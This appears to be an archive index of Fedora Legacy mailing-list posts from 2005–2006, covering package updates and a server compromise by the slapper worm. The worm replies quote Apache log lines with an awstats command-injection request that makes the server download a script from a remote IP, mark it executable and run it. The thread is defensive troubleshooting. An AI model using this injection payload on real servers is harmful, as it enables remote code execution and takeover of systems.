Re: I get this error when trying to upgrade my 2.4.20-8 to 2.6.3 after make install

2006-11-14 Thread Michael Mansour
Hi Bill, > Security is not a concern. I am using redhat 9 because it is almost > the same as rhel3. This is a test not a production box. What kernel > can i use to easilly upgrade rhel9 to have the disk quota feature > because it is not there in 2.4.20-8 kernel. The disk quota feature > is all

Re: What we're forgetting . . .

2006-06-14 Thread Michael Mansour
> David Eisenstein wrote: > > As we continue to talk over where Fedora Legacy is going, and what distro's > > should or shouldn't be maintained by us, it occurs to me that we are > > forgetting some important things > > > >* How many contributors do we have now that get the work of Fedor

Re: RKHUNTER reporting on my system

2006-04-12 Thread Michael Mansour
> kles koe wrote: > > > why don't you just ask the author of rkhunter to update the hashes > > for these packges? > > i think i did once and it was fixed within a few days. > > I said I already reported this issue twice, but so far I haven't > received any reaction and the latest version of t

Re: New sendmail and missing /usr/lib/sendmail

2006-03-25 Thread Michael Mansour
Hi Eric, > Quoting Michal Jaegermann <[EMAIL PROTECTED]>: > > > I am not sure in which distro /usr/sbin/alternatives showed up > > for the first time. > > It first showed up in RHL 7.3 as far as RHL goes. It originated in > debian though... > > >> *** ERROR: FEATURE() should be before MAILER()

Re: New sendmail and missing /usr/lib/sendmail

2006-03-24 Thread Michael Mansour
Hi, > On Friday 24 March 2006 12:54, David Eisner wrote: > > > Just a heads up: after installing the > > sendmail-8.12.11-4.24.1.legacy package on a RH9 machine today, I > > noticed /usr/lib/sendmail was gone. This will break anything > > that's expecting it to be there. > > > > In my case, symli

Re: Updated tzdata packages?

2006-03-22 Thread Michael Mansour
Hi, > On Mon, 20 Mar 2006, Matthew Miller wrote: > > > On Tue, Mar 21, 2006 at 07:22:34AM +1000, Michael Mansour wrote: > > > I'm just wondering has anyone considered updating the tzdata package for FC1/2? > > > In Australia for example, our Dayli

Updated tzdata packages?

2006-03-20 Thread Michael Mansour
Hi, I'm just wondering has anyone considered updating the tzdata package for FC1/2? In Australia for example, our Daylight savings time changed due to the Commonwealth games. Red Hat have released updates for their distributions, but looking at FC1/2: FC1# tzdata-2004b-1.fc1 FC2# tzdata-2005f-1.

Re: 1-2-3 out, time for FC2?

2006-03-20 Thread Michael Mansour
> >With the release of FC5, I figured I'd start the discussion to gauge > > the amount of support for keeping FC2 updates going. > > > >As specified in the FAQ, Fedora Legacy will pick it up and maintain it > > for two additional Fedora Core release cycles. > > > >I believe FC1 still has the follow

Re: An imap server?

2006-02-08 Thread Michael Mansour
> Greetings all; > > What yum install 'name' should I use for name to install an imap > mail server on a RH7.3 box? I'm going to try and move the spam > filtering off my desktop machine. Try dovecot. Michael. -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat

Re: slapper worm

2006-01-24 Thread Michael Mansour
Hi Mike, > > You should do a "netstat -na | grep SYN", if you see alot of those then > > slapper is there DOS attacking people. > > $ netstat -na | grep SYN > $ > > Thanks for the advice. But, as I am behind a stealth firewall, > I feel relatively secured against *this* type of attack. > > Umm,

Re: slapper worm

2006-01-24 Thread Michael Mansour
Hi Mike, > Gene Heskett wrote: > > On Tuesday 24 January 2006 14:20, Mike Klinke wrote: > > > >>On Tuesday 24 January 2006 13:08, Mike McCarty wrote: > >> > >>>I'm a little shocked at this, frankly. I Googled around, and > >>>found mentions of the Slapper going back to 2002. Why is it that > >>>t

Re: slapper worm

2006-01-24 Thread Michael Mansour
Hi Peter, > On 2006-01-24 08:46:24 +1000, Michael Mansour wrote: > > > More generally, I read advice somewhere that mounting /tmp with the > > > "noexec" option (and making any other temp directories symbolic > > > links to that one) can make this type

Re: slapper worm

2006-01-23 Thread Michael Mansour
Hi Marc, > On Tue, 2006-01-24 at 08:42 +1000, Michael Mansour wrote: > > No I'm not sure. Reading through the link above, it does seem that you've > > hit > > the nail on the head with this one. I have two other FC1 machines and they > > weren't affe

Re: slapper worm

2006-01-23 Thread Michael Mansour
Hi Marc, > On Tue, 2006-01-24 at 06:32 +1000, Michael Mansour wrote: > > > I'm using: > > > > perl-5.8.3-17.4.legacy > > httpd-2.0.51-1.9.legacy > > openssl-0.9.7a-33.13.legacy > > > > Are there any updates FL can do to any of the

Re: slapper worm

2006-01-23 Thread Michael Mansour
Hi Kelson, > Michael Mansour wrote: > > 220.135.223.35 - - [23/Jan/2006:08:33:02 +1100] "GET > > /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ft > > mp%3bwget%20194%2e102%2e194%2e115%2fscripz%3bchmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo| > > HTT

Re: slapper worm

2006-01-23 Thread Michael Mansour
Hi Mike, > > 403 344 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT > > 5.1;)" 220.135.223.35 - - [23/Jan/2006:08:33:03 +1100] "GET > > /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ft > > mp%3bwget%20194%2e102%2e194%2e115%2fscripz%3bchmod%20%2bx%20scrip > >z%3b%2e%2fscripz;echo%20YYY

Re: slapper worm

2006-01-23 Thread Michael Mansour
Hi James, > -BEGIN PGP SIGNED MESSAGE- > Hash: SHA1 > > Michael Mansour wrote: > > Hi guys, > > > > I have an FC1 machine which got infected twice with the slapper worm, and > > then > > started DOS attacking a large vendor. > > > &g

slapper worm

2006-01-23 Thread Michael Mansour
Hi guys, I have an FC1 machine which got infected twice with the slapper worm, and then started DOS attacking a large vendor. I've stopped slapper in its tracks with a couple of changes to FC1, but in analysing now how it got in (it seems to use SSLv2 vulerabilities in an apache SSL server which

Re: Need discussion, Re: Latest contrib perl

2005-12-28 Thread Michael Mansour
Hi David, > > Hi John, > > > > > Michael Mansour wrote: > > > > The perl versions I'm currently using on FC1 are from that directory: > > > > > > > > # rpm -q perl perl-suidperl > > > > perl-5.8.3-18.1.legacy > >

Re: Need discussion, Re: Latest contrib perl

2005-12-27 Thread Michael Mansour
Hi John, > Michael Mansour wrote: > > The perl versions I'm currently using on FC1 are from that directory: > > > > # rpm -q perl perl-suidperl > > perl-5.8.3-18.1.legacy > > perl-suidperl-5.8.3-18.1.legacy > > I built these versions for FC1; howeve

Re: Need discussion, Re: Latest contrib perl

2005-12-27 Thread Michael Mansour
Hi, > > Hi, > > > > I'm trying to apply the latest contrib perl from: > > > > http://www.fedoralegacy.org/contrib/perl/ > > > > namely: > > > > perl-5.8.3-19.2.legacy.i386.rpm > > perl-suidperl-5.8.3-19.2.legacy.i386.rpm > > > > but I get the following result: > > > > # rpm -Uvh perl-suidper

Latest contrib perl

2005-12-26 Thread Michael Mansour
Hi, I'm trying to apply the latest contrib perl from: http://www.fedoralegacy.org/contrib/perl/ namely: perl-5.8.3-19.2.legacy.i386.rpm perl-suidperl-5.8.3-19.2.legacy.i386.rpm but I get the following result: # rpm -Uvh perl-suidperl-5.8.3-19.2.legacy.i386.rpm perl-5.8.3-19.2.legacy.i386.rpm

Re: CVE-2005-3962, Re: Perl Format String Vulnerability

2005-12-23 Thread Michael Mansour
> > Does this affect us? > > > > (1) HIGH: Perl Format String Vulnerability > > Affected: > > Perl versions 5.9.2 and 5.8.6 confirmed; potentially all Perl versions > > Webmin version 1.23 and prior > > > > Description: Perl is widely used as a scripting language for a variety > > of applications

Re: Failed primary.xml.gz in FC1

2005-12-18 Thread Michael Mansour
Hi David, > > Hi, > > > > When I try and perform a check-update to get the latest FL updates for an > > FC1 > > machine, I get the following: > > > > # yum check-update > > Setting up repositories > > Reading repository metadata in from local files > > primary.xml.gz100% |==

Failed primary.xml.gz in FC1

2005-12-18 Thread Michael Mansour
Hi, When I try and perform a check-update to get the latest FL updates for an FC1 machine, I get the following: # yum check-update Setting up repositories Reading repository metadata in from local files primary.xml.gz100% |=| 254 kB00:05 http://download.fed

Re: 8 more days 'til we inherit FC3; are we ready??; FWD: Fedora Core 3 Status Update

2005-12-15 Thread Michael Mansour
Hi, > I agree with Jesse and David. It makes no sense to drop FC1 if > there is still user interest (a'la RH73). A lot of people jumped to > FC1 when Redhat changed their business practice (which turned out to > be a very good move for them despite mine and other objections), so > I think it

Re: PHP Attacks....

2005-11-09 Thread Michael Mansour
> On Wed, Nov 09, 2005 at 05:04:27PM -0500, James Kosin wrote: > > They also address CVE-2005-3353, CVE-2005-3388, CVE-2005-3389 and > > CVE-2005-3390... > > do we need to concern ourselves with these? > > Do you plan to wait until attacks will show up? > > Michal Everyday in my logs now I see

Re: PHP Attacks....

2005-11-09 Thread Michael Mansour
> On Wed, 2005-11-09 at 13:27 -0700, Michal Jaegermann wrote: > > If I understand correctly that is really an XML_RPC vulnerability in > > pear libraries; so if you do not have such capability, or it is not > > turned on, then you are not vulnerable. Of course there are some > > applications which

Fw: [SECURITY] Fedora Core 3 Update: php-4.3.11-2.8

2005-11-08 Thread Michael Mansour
Hi, I'm still running FC1 and FC2 servers and am worried about the issues below, I don't want to be stung by them like I was with the perl exploits earlier (and fixed through the FL contrib by users). Will FL be backporting these fixes asap? Michael. -- Forwarded Message --- Fro

Re: Typo in yum instructions

2005-10-31 Thread Michael Mansour
> > Yes, although technically that's not the mirror, the true mirror is at > > http://dl.atrpms.net/mirrors/fedoralegacy/ including yum20 format > > headers. I wouldn't start changing content in a mirrored part :=) > > > > The problem is that yum-arch has a bug that breaks my yum20 repos: > > > > h

Re: Thoughts about James' Updates on Legacy list

2005-09-29 Thread Michael Mansour
> Josep L. Guallar-Esteve wrote: > > On Wednesday 28 September 2005 11:21, James Kosin wrote: > > > >>I'm not knocking RedHat, Fedora or Fedora-Legacy this is a good > >>point. But, some of us need more than just patches to get us by. > >>I know, If you really want the latest, why not update to F

Re: James' Updates

2005-09-13 Thread Michael Mansour
Hi Gilbert, --- Gilbert Sebenste <[EMAIL PROTECTED]> wrote: > On Wed, 14 Sep 2005, Axel Thimm wrote: > > > you probably need to update yum first. Early yum > versions would easily > > mask existing packages under certain > circumstances. > > > I have the FC1 version. Where can I get the latest >